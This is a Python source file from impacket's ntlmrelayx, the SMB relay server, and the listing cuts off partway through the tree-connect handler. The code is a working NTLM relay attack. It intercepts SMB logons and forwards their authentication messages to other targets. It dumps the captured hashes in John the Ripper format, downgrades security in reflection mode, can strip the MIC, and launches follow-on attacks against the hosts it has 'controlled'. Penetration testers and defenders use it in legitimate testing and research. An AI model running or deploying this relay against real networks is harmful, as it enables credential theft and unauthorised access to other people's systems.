/impacket/examples/ntlmrelayx/servers/smbrelayserver.py

https://github.com/ropnop/impacket_static_binaries · Python · 838 lines · 523 code · 153 blank · 162 comment · 96 complexity · d4cd8981f756e716168f7a0f67bec91e MD5 · raw file

  1. # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
  2. #
  3. # This software is provided under under a slightly modified version
  4. # of the Apache Software License. See the accompanying LICENSE file
  5. # for more information.
  6. #
  7. # SMB Relay Server
  8. #
  9. # Authors:
  10. # Alberto Solino (@agsolino)
  11. # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
  12. #
  13. # Description:
  14. # This is the SMB server which relays the connections
  15. # to other protocols
  16. from __future__ import division
  17. from __future__ import print_function
  18. from threading import Thread
  19. try:
  20. import ConfigParser
  21. except ImportError:
  22. import configparser as ConfigParser
  23. import struct
  24. import logging
  25. import time
  26. import calendar
  27. import random
  28. import string
  29. import socket
  30. import ntpath
  31. from binascii import hexlify, unhexlify
  32. from six import b
  33. from impacket import smb, ntlm, LOG, smb3
  34. from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED
  35. from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
  36. from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile
  37. from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH
  38. from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
  39. from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
  40. from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString
  41. class SMBRelayServer(Thread):
  42. def __init__(self,config):
  43. Thread.__init__(self)
  44. self.daemon = True
  45. self.server = 0
  46. #Config object
  47. self.config = config
  48. #Current target IP
  49. self.target = None
  50. #Targets handler
  51. self.targetprocessor = self.config.target
  52. #Username we auth as gets stored here later
  53. self.authUser = None
  54. self.proxyTranslator = None
  55. # Here we write a mini config for the server
  56. smbConfig = ConfigParser.ConfigParser()
  57. smbConfig.add_section('global')
  58. smbConfig.set('global','server_name','server_name')
  59. smbConfig.set('global','server_os','UNIX')
  60. smbConfig.set('global','server_domain','WORKGROUP')
  61. smbConfig.set('global','log_file','smb.log')
  62. smbConfig.set('global','credentials_file','')
  63. if self.config.smb2support is True:
  64. smbConfig.set("global", "SMB2Support", "True")
  65. else:
  66. smbConfig.set("global", "SMB2Support", "False")
  67. if self.config.outputFile is not None:
  68. smbConfig.set('global','jtr_dump_path',self.config.outputFile)
  69. if self.config.SMBServerChallenge is not None:
  70. smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)
  71. # IPC always needed
  72. smbConfig.add_section('IPC$')
  73. smbConfig.set('IPC$','comment','')
  74. smbConfig.set('IPC$','read only','yes')
  75. smbConfig.set('IPC$','share type','3')
  76. smbConfig.set('IPC$','path','')
  77. # Change address_family to IPv6 if this is configured
  78. if self.config.ipv6:
  79. SMBSERVER.address_family = socket.AF_INET6
  80. # changed to dereference configuration interfaceIp
  81. if self.config.listeningPort:
  82. smbport = self.config.listeningPort
  83. else:
  84. smbport = 445
  85. self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig)
  86. logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)
  87. self.server.processConfigFile()
  88. self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
  89. self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
  90. self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
  91. self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
  92. self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
  93. self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)
  94. # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
  95. #TODO: See if this is the best way to accomplish this
  96. # changed to dereference configuration interfaceIp
  97. self.server.addConnection('SMBRelay', config.interfaceIp, 445)
  98. ### SMBv2 Part #################################################################
  99. def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
  100. connData = smbServer.getConnectionData(connId, checkStatus=False)
  101. respPacket = smb3.SMB2Packet()
  102. respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
  103. respPacket['Status'] = STATUS_SUCCESS
  104. respPacket['CreditRequestResponse'] = 1
  105. respPacket['Command'] = smb3.SMB2_NEGOTIATE
  106. respPacket['SessionID'] = 0
  107. if isSMB1 is False:
  108. respPacket['MessageID'] = recvPacket['MessageID']
  109. else:
  110. respPacket['MessageID'] = 0
  111. respPacket['TreeID'] = 0
  112. respSMBCommand = smb3.SMB2Negotiate_Response()
  113. # Just for the Nego Packet, then disable it
  114. respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
  115. if isSMB1 is True:
  116. # Let's first parse the packet to see if the client supports SMB2
  117. SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
  118. dialects = SMBCommand['Data'].split(b'\x02')
  119. if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
  120. respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
  121. #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
  122. else:
  123. # Client does not support SMB2 fallbacking
  124. raise Exception('Client does not support SMB2, fallbacking')
  125. else:
  126. respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
  127. #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
  128. respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
  129. respSMBCommand['Capabilities'] = 0
  130. respSMBCommand['MaxTransactSize'] = 65536
  131. respSMBCommand['MaxReadSize'] = 65536
  132. respSMBCommand['MaxWriteSize'] = 65536
  133. respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
  134. respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
  135. respSMBCommand['SecurityBufferOffset'] = 0x80
  136. blob = SPNEGO_NegTokenInit()
  137. blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
  138. TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
  139. respSMBCommand['Buffer'] = blob.getData()
  140. respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
  141. respPacket['Data'] = respSMBCommand
  142. smbServer.setConnectionData(connId, connData)
  143. return None, [respPacket], STATUS_SUCCESS
  144. def SmbSessionSetup(self, connId, smbServer, recvPacket):
  145. connData = smbServer.getConnectionData(connId, checkStatus = False)
  146. #############################################################
  147. # SMBRelay
  148. # Are we ready to relay or should we just do local auth?
  149. if 'relayToHost' not in connData:
  150. # Just call the original SessionSetup
  151. respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)
  152. # We remove the Guest flag
  153. if 'SessionFlags' in respCommands[0].fields:
  154. respCommands[0]['SessionFlags'] = 0x00
  155. return respCommands, respPackets, errorCode
  156. # We have confirmed we want to relay to the target host.
  157. respSMBCommand = smb3.SMB2SessionSetup_Response()
  158. sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])
  159. connData['Capabilities'] = sessionSetupData['Capabilities']
  160. securityBlob = sessionSetupData['Buffer']
  161. rawNTLM = False
  162. if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:
  163. # NEGOTIATE packet
  164. blob = SPNEGO_NegTokenInit(securityBlob)
  165. token = blob['MechToken']
  166. if len(blob['MechTypes'][0]) > 0:
  167. # Is this GSSAPI NTLM or something else we don't support?
  168. mechType = blob['MechTypes'][0]
  169. if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
  170. mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
  171. # Nope, do we know it?
  172. if mechType in MechTypes:
  173. mechStr = MechTypes[mechType]
  174. else:
  175. mechStr = hexlify(mechType)
  176. smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)
  177. # We don't know the token, we answer back again saying
  178. # we just support NTLM.
  179. # ToDo: Build this into a SPNEGO_NegTokenResp()
  180. respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
  181. respSMBCommand['SecurityBufferOffset'] = 0x48
  182. respSMBCommand['SecurityBufferLength'] = len(respToken)
  183. respSMBCommand['Buffer'] = respToken
  184. return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED
  185. elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
  186. # AUTH packet
  187. blob = SPNEGO_NegTokenResp(securityBlob)
  188. token = blob['ResponseToken']
  189. else:
  190. # No GSSAPI stuff, raw NTLMSSP
  191. rawNTLM = True
  192. token = securityBlob
  193. # Here we only handle NTLMSSP, depending on what stage of the
  194. # authentication we are, we act on it
  195. messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
  196. if messageType == 0x01:
  197. # NEGOTIATE_MESSAGE
  198. negotiateMessage = ntlm.NTLMAuthNegotiate()
  199. negotiateMessage.fromString(token)
  200. # Let's store it in the connection data
  201. connData['NEGOTIATE_MESSAGE'] = negotiateMessage
  202. #############################################################
  203. # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
  204. # Let's send it to the target server and send the answer back to the client.
  205. client = connData['SMBClient']
  206. try:
  207. challengeMessage = self.do_ntlm_negotiate(client, token)
  208. except Exception as e:
  209. LOG.debug("Exception:", exc_info=True)
  210. # Log this target as processed for this client
  211. self.targetprocessor.logTarget(self.target)
  212. # Raise exception again to pass it on to the SMB server
  213. raise
  214. #############################################################
  215. if rawNTLM is False:
  216. respToken = SPNEGO_NegTokenResp()
  217. # accept-incomplete. We want more data
  218. respToken['NegResult'] = b'\x01'
  219. respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
  220. respToken['ResponseToken'] = challengeMessage.getData()
  221. else:
  222. respToken = challengeMessage
  223. # Setting the packet to STATUS_MORE_PROCESSING
  224. errorCode = STATUS_MORE_PROCESSING_REQUIRED
  225. # Let's set up an UID for this connection and store it
  226. # in the connection's data
  227. connData['Uid'] = random.randint(1,0xffffffff)
  228. connData['CHALLENGE_MESSAGE'] = challengeMessage
  229. elif messageType == 0x02:
  230. # CHALLENGE_MESSAGE
  231. raise Exception('Challenge Message raise, not implemented!')
  232. elif messageType == 0x03:
  233. # AUTHENTICATE_MESSAGE, here we deal with authentication
  234. #############################################################
  235. # SMBRelay: Ok, so now the have the Auth token, let's send it
  236. # back to the target system and hope for the best.
  237. client = connData['SMBClient']
  238. authenticateMessage = ntlm.NTLMAuthChallengeResponse()
  239. authenticateMessage.fromString(token)
  240. if authenticateMessage['user_name'] != '':
  241. # For some attacks it is important to know the authenticated username, so we store it
  242. self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
  243. authenticateMessage['user_name'].decode('utf-16le'))).upper()
  244. if rawNTLM is True:
  245. respToken2 = SPNEGO_NegTokenResp()
  246. respToken2['ResponseToken'] = securityBlob
  247. securityBlob = respToken2.getData()
  248. if self.config.remove_mic:
  249. clientResponse, errorCode = self.do_ntlm_auth(client, token,
  250. connData['CHALLENGE_MESSAGE']['challenge'])
  251. else:
  252. clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,
  253. connData['CHALLENGE_MESSAGE']['challenge'])
  254. else:
  255. # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
  256. errorCode = STATUS_ACCESS_DENIED
  257. if errorCode != STATUS_SUCCESS:
  258. #Log this target as processed for this client
  259. self.targetprocessor.logTarget(self.target)
  260. LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
  261. client.killConnection()
  262. else:
  263. # We have a session, create a thread and do whatever we want
  264. LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
  265. # Log this target as processed for this client
  266. self.targetprocessor.logTarget(self.target, True, self.authUser)
  267. ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
  268. authenticateMessage['user_name'],
  269. authenticateMessage['domain_name'], authenticateMessage['lanman'],
  270. authenticateMessage['ntlm'])
  271. client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
  272. if self.server.getJTRdumpPath() != '':
  273. writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
  274. self.server.getJTRdumpPath())
  275. connData['Authenticated'] = True
  276. del(connData['relayToHost'])
  277. self.do_attack(client)
  278. # Now continue with the server
  279. #############################################################
  280. if rawNTLM is False:
  281. respToken = SPNEGO_NegTokenResp()
  282. # accept-completed
  283. respToken['NegResult'] = b'\x00'
  284. else:
  285. respToken = ''
  286. # Let's store it in the connection data
  287. connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
  288. else:
  289. raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
  290. respSMBCommand['SecurityBufferOffset'] = 0x48
  291. respSMBCommand['SecurityBufferLength'] = len(respToken)
  292. if respSMBCommand['SecurityBufferLength'] > 0:
  293. respSMBCommand['Buffer'] = respToken.getData()
  294. else:
  295. respSMBCommand['Buffer'] = ''
  296. smbServer.setConnectionData(connId, connData)
  297. return [respSMBCommand], None, errorCode
  298. def smb2TreeConnect(self, connId, smbServer, recvPacket):
  299. connData = smbServer.getConnectionData(connId)
  300. authenticateMessage = connData['AUTHENTICATE_MESSAGE']
  301. self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
  302. authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
  303. # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
  304. # are processed. There might be a use case for this
  305. #if 'relayToHost' in connData:
  306. # # Connection already relayed, let's just answer the request (that will return object not found)
  307. # return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
  308. try:
  309. if self.config.mode.upper () == 'REFLECTION':
  310. self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
  311. if self.authUser == '/':
  312. LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
  313. (connId, connData['ClientIP']))
  314. return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
  315. self.target = self.targetprocessor.getTarget(identity = self.authUser)
  316. if self.target is None:
  317. # No more targets to process, just let the victim to fail later
  318. LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
  319. (connId, self.authUser, connData['ClientIP']))
  320. return self.origsmb2TreeConnect (connId, smbServer, recvPacket)
  321. LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser,
  322. connData['ClientIP'], self.target.scheme, self.target.netloc))
  323. if self.config.mode.upper() == 'REFLECTION':
  324. # Force standard security when doing reflection
  325. LOG.debug("Downgrading to standard security")
  326. extSec = False
  327. #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
  328. else:
  329. extSec = True
  330. # Init the correct client for our target
  331. client = self.init_client(extSec)
  332. except Exception as e:
  333. LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
  334. self.targetprocessor.logTarget(self.target)
  335. else:
  336. connData['relayToHost'] = True
  337. connData['Authenticated'] = False
  338. del (connData['NEGOTIATE_MESSAGE'])
  339. del (connData['CHALLENGE_MESSAGE'])
  340. del (connData['AUTHENTICATE_MESSAGE'])
  341. connData['SMBClient'] = client
  342. connData['EncryptionKey'] = client.getStandardSecurityChallenge()
  343. smbServer.setConnectionData(connId, connData)
  344. respPacket = smb3.SMB2Packet()
  345. respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
  346. respPacket['Status'] = STATUS_SUCCESS
  347. respPacket['CreditRequestResponse'] = 1
  348. respPacket['Command'] = recvPacket['Command']
  349. respPacket['SessionID'] = connData['Uid']
  350. respPacket['Reserved'] = recvPacket['Reserved']
  351. respPacket['MessageID'] = recvPacket['MessageID']
  352. respPacket['TreeID'] = recvPacket['TreeID']
  353. respSMBCommand = smb3.SMB2TreeConnect_Response()
  354. # This is the key, force the client to reconnect.
  355. # It will loop until all targets are processed for this user
  356. errorCode = STATUS_NETWORK_SESSION_EXPIRED
  357. respPacket['Status'] = errorCode
  358. respSMBCommand['Capabilities'] = 0
  359. respSMBCommand['MaximalAccess'] = 0x000f01ff
  360. respPacket['Data'] = respSMBCommand
  361. # Sign the packet if needed
  362. if connData['SignatureEnabled']:
  363. smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])
  364. smbServer.setConnectionData(connId, connData)
  365. return None, [respPacket], errorCode
  366. ################################################################################
  367. ### SMBv1 Part #################################################################
  368. def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
  369. connData = smbServer.getConnectionData(connId, checkStatus = False)
  370. if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
  371. if self.config.mode.upper() == 'REFLECTION':
  372. # Force standard security when doing reflection
  373. LOG.debug("Downgrading to standard security")
  374. recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
  375. return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
  376. #############################################################
  377. def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
  378. connData = smbServer.getConnectionData(connId, checkStatus = False)
  379. #############################################################
  380. # SMBRelay
  381. # Are we ready to relay or should we just do local auth?
  382. if 'relayToHost' not in connData:
  383. # Just call the original SessionSetup
  384. return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)
  385. # We have confirmed we want to relay to the target host.
  386. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
  387. if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
  388. # Extended security. Here we deal with all SPNEGO stuff
  389. respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
  390. respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
  391. sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
  392. sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
  393. sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
  394. sessionSetupData.fromString(SMBCommand['Data'])
  395. connData['Capabilities'] = sessionSetupParameters['Capabilities']
  396. rawNTLM = False
  397. if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
  398. # If there no GSSAPI ID, it must be an AUTH packet
  399. blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
  400. token = blob['ResponseToken']
  401. else:
  402. # NEGOTIATE packet
  403. blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
  404. token = blob['MechToken']
  405. # Here we only handle NTLMSSP, depending on what stage of the
  406. # authentication we are, we act on it
  407. messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
  408. if messageType == 0x01:
  409. # NEGOTIATE_MESSAGE
  410. negotiateMessage = ntlm.NTLMAuthNegotiate()
  411. negotiateMessage.fromString(token)
  412. # Let's store it in the connection data
  413. connData['NEGOTIATE_MESSAGE'] = negotiateMessage
  414. #############################################################
  415. # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
  416. # Let's send it to the target server and send the answer back to the client.
  417. client = connData['SMBClient']
  418. try:
  419. challengeMessage = self.do_ntlm_negotiate(client,token)
  420. except Exception:
  421. # Log this target as processed for this client
  422. self.targetprocessor.logTarget(self.target)
  423. # Raise exception again to pass it on to the SMB server
  424. raise
  425. #############################################################
  426. respToken = SPNEGO_NegTokenResp()
  427. # accept-incomplete. We want more data
  428. respToken['NegResult'] = b'\x01'
  429. respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
  430. respToken['ResponseToken'] = challengeMessage.getData()
  431. # Setting the packet to STATUS_MORE_PROCESSING
  432. errorCode = STATUS_MORE_PROCESSING_REQUIRED
  433. # Let's set up an UID for this connection and store it
  434. # in the connection's data
  435. # Picking a fixed value
  436. # TODO: Manage more UIDs for the same session
  437. connData['Uid'] = 10
  438. connData['CHALLENGE_MESSAGE'] = challengeMessage
  439. elif messageType == 0x03:
  440. # AUTHENTICATE_MESSAGE, here we deal with authentication
  441. #############################################################
  442. # SMBRelay: Ok, so now the have the Auth token, let's send it
  443. # back to the target system and hope for the best.
  444. client = connData['SMBClient']
  445. authenticateMessage = ntlm.NTLMAuthChallengeResponse()
  446. authenticateMessage.fromString(token)
  447. if authenticateMessage['user_name'] != '':
  448. #For some attacks it is important to know the authenticated username, so we store it
  449. self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
  450. authenticateMessage['user_name'].decode('utf-16le'))).upper()
  451. clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],
  452. connData['CHALLENGE_MESSAGE']['challenge'])
  453. else:
  454. # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
  455. errorCode = STATUS_ACCESS_DENIED
  456. if errorCode != STATUS_SUCCESS:
  457. # Let's return what the target returned, hope the client connects back again
  458. packet = smb.NewSMBPacket()
  459. packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
  460. packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
  461. packet['Command'] = recvPacket['Command']
  462. packet['Pid'] = recvPacket['Pid']
  463. packet['Tid'] = recvPacket['Tid']
  464. packet['Mid'] = recvPacket['Mid']
  465. packet['Uid'] = recvPacket['Uid']
  466. packet['Data'] = b'\x00\x00\x00'
  467. packet['ErrorCode'] = errorCode >> 16
  468. packet['ErrorClass'] = errorCode & 0xff
  469. LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))
  470. #Log this target as processed for this client
  471. self.targetprocessor.logTarget(self.target)
  472. client.killConnection()
  473. return None, [packet], errorCode
  474. else:
  475. # We have a session, create a thread and do whatever we want
  476. LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
  477. # Log this target as processed for this client
  478. self.targetprocessor.logTarget(self.target, True, self.authUser)
  479. ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],
  480. authenticateMessage['user_name'],
  481. authenticateMessage['domain_name'],
  482. authenticateMessage['lanman'], authenticateMessage['ntlm'])
  483. client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
  484. if self.server.getJTRdumpPath() != '':
  485. writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
  486. self.server.getJTRdumpPath())
  487. self.do_attack(client)
  488. # Now continue with the server
  489. #############################################################
  490. respToken = SPNEGO_NegTokenResp()
  491. # accept-completed
  492. respToken['NegResult'] = b'\x00'
  493. # Done with the relay for now.
  494. connData['Authenticated'] = True
  495. del(connData['relayToHost'])
  496. # Status SUCCESS
  497. errorCode = STATUS_SUCCESS
  498. # Let's store it in the connection data
  499. connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
  500. else:
  501. raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
  502. respParameters['SecurityBlobLength'] = len(respToken)
  503. respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']
  504. respData['SecurityBlob'] = respToken.getData()
  505. else:
  506. # Process Standard Security
  507. #TODO: Fix this for other protocols than SMB [!]
  508. respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
  509. respData = smb.SMBSessionSetupAndXResponse_Data()
  510. sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
  511. sessionSetupData = smb.SMBSessionSetupAndX_Data()
  512. sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
  513. sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
  514. sessionSetupData.fromString(SMBCommand['Data'])
  515. client = connData['SMBClient']
  516. _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
  517. if errorCode != STATUS_SUCCESS:
  518. # Let's return what the target returned, hope the client connects back again
  519. packet = smb.NewSMBPacket()
  520. packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
  521. packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
  522. packet['Command'] = recvPacket['Command']
  523. packet['Pid'] = recvPacket['Pid']
  524. packet['Tid'] = recvPacket['Tid']
  525. packet['Mid'] = recvPacket['Mid']
  526. packet['Uid'] = recvPacket['Uid']
  527. packet['Data'] = b'\x00\x00\x00'
  528. packet['ErrorCode'] = errorCode >> 16
  529. packet['ErrorClass'] = errorCode & 0xff
  530. #Log this target as processed for this client
  531. self.targetprocessor.logTarget(self.target)
  532. # Finish client's connection
  533. #client.killConnection()
  534. return None, [packet], errorCode
  535. else:
  536. # We have a session, create a thread and do whatever we want
  537. self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()
  538. LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))
  539. # Log this target as processed for this client
  540. self.targetprocessor.logTarget(self.target, True, self.authUser)
  541. ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
  542. sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
  543. client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
  544. if self.server.getJTRdumpPath() != '':
  545. writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
  546. self.server.getJTRdumpPath())
  547. # Done with the relay for now.
  548. connData['Authenticated'] = True
  549. del(connData['relayToHost'])
  550. self.do_attack(client)
  551. # Now continue with the server
  552. #############################################################
  553. respData['NativeOS'] = smbServer.getServerOS()
  554. respData['NativeLanMan'] = smbServer.getServerOS()
  555. respSMBCommand['Parameters'] = respParameters
  556. respSMBCommand['Data'] = respData
  557. smbServer.setConnectionData(connId, connData)
  558. return [respSMBCommand], None, errorCode
  559. def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
  560. connData = smbServer.getConnectionData(connId)
  561. authenticateMessage = connData['AUTHENTICATE_MESSAGE']
  562. self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),
  563. authenticateMessage['user_name'].decode ('utf-16le'))).upper ()
  564. # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
  565. # are processed. There might be a use case for this
  566. #if 'relayToHost' in connData:
  567. # # Connection already relayed, let's just answer the request (that will return object not found)
  568. # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)
  569. try:
  570. if self.config.mode.upper () == 'REFLECTION':
  571. self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])
  572. if self.authUser == '/':
  573. LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %
  574. (connId, connData['ClientIP']))
  575. return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
  576. self.target = self.targetprocessor.getTarget(identity = self.authUser)
  577. if self.target is None:
  578. # No more targets to process, just let the victim to fail later
  579. LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %
  580. (connId, self.authUser, connData['ClientIP']))
  581. return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)
  582. LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser,
  583. connData['ClientIP'], self.target.scheme, self.target.netloc))
  584. if self.config.mode.upper() == 'REFLECTION':
  585. # Force standard security when doing reflection
  586. LOG.debug("Downgrading to standard security")
  587. extSec = False
  588. recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
  589. else:
  590. extSec = True
  591. # Init the correct client for our target
  592. client = self.init_client(extSec)
  593. except Exception as e:
  594. LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
  595. self.targetprocessor.logTarget(self.target)
  596. else:
  597. connData['relayToHost'] = True
  598. connData['Authenticated'] = False
  599. del (connData['NEGOTIATE_MESSAGE'])
  600. del (connData['CHALLENGE_MESSAGE'])
  601. del (connData['AUTHENTICATE_MESSAGE'])
  602. connData['SMBClient'] = client
  603. connData['EncryptionKey'] = client.getStandardSecurityChallenge()
  604. smbServer.setConnectionData(connId, connData)
  605. resp = smb.NewSMBPacket()
  606. resp['Flags1'] = smb.SMB.FLAGS1_REPLY
  607. resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
  608. recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE
  609. resp['Tid'] = recvPacket['Tid']
  610. resp['Mid'] = recvPacket['Mid']
